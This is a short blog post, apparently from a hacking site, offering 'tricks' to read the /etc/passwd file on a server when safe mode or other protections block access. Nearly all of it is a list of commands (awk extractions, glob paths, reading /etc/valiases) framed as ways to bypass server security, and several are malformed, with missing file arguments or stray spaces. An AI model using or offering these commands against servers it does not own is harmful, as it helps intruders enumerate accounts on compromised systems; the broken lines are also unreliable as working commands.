New Post

Thursday, April 26, 2012

Hello Again,

Today I Have New Trick To Read passwd File.

1. We Know That This File Located In Etc Folder And The Easy Command To Read It Is cat /etc/passwd.

2. Some Times We Have A Problem To Access To This File Because Of The Security Of The Server Or The SafeMode Is On.

3.Don't Worry I Have Some Solutions ^_^

Some Commands To ByPass This Security :

awk -F: '{ print $1 }' /etc*/passwd | sort

or

awk -F: '{ print $ 1 "" $ 2 "" $ 3 "" $ 4 "" $ 5 "" $ 6 "" $ 7 "" }'

or

/etc*/passwd | sort

or

cd /etc; cat passwd

or

cat /etc/valiases/domain.tld

or

awk -F ":" '{print "user ****:" $ 1 "\ t \ tuid:" $ 3}' /etc/passwd

./Done

0 nhận xét:

Post a Comment